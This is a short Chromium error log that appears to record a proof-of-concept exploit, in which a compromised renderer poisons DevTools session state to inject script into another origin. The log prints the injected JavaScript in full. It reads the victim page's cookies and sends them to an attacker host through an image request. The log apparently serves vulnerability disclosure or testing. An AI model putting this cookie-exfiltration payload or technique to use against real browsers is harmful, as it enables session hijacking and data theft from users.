[3207:3207:0401/212114.189612:ERROR:third_party/blink/renderer/core/inspector/devtools_session.cc:325] [POC-ATTACKER] Compromised renderer at http://attacker.test:8765/ — poisoning DevToolsSessionState via DispatchProtocolNotification [3207:3207:0401/212114.190056:ERROR:third_party/blink/renderer/core/inspector/devtools_session.cc:394] [POC-ATTACKER] Poisoned state sent. Navigate to victim.test to complete the attack. [3206:3206:0401/212115.792019:ERROR:third_party/blink/renderer/core/inspector/inspector_page_agent.cc:524] [POC-VICTIM] InspectorPageAgent::Restore: enabled_=true AND scripts_to_evaluate_on_load_ is non-empty — poisoned session state was forwarded across the process boundary! [3206:3206:0401/212115.792355:ERROR:third_party/blink/renderer/core/inspector/inspector_page_agent.cc:528] [POC-VICTIM] script[1] = (function(){ var o = window.origin; var c = document.cookie; console.error('[POC-UXSS] script executing in origin=' + o + ' cookie=' + c); if (o.indexOf('victim') !== -1) { document.title = '[PWNED] ' + o; var img = new Image(); img.src = 'http://attacker.test:8765/EXFIL?' + 'origin=' + encodeURIComponent(o) + '&cookie=' + encodeURIComponent(c); }})(); [3206:3206:0401/212115.820534:ERROR:third_party/blink/renderer/core/inspector/inspector_page_agent.cc:1092] [POC-VICTIM] EvaluateScriptOnNewDocument: about to evaluate script in MAIN WORLD of http://victim.test:8765/secret.html — script_id=1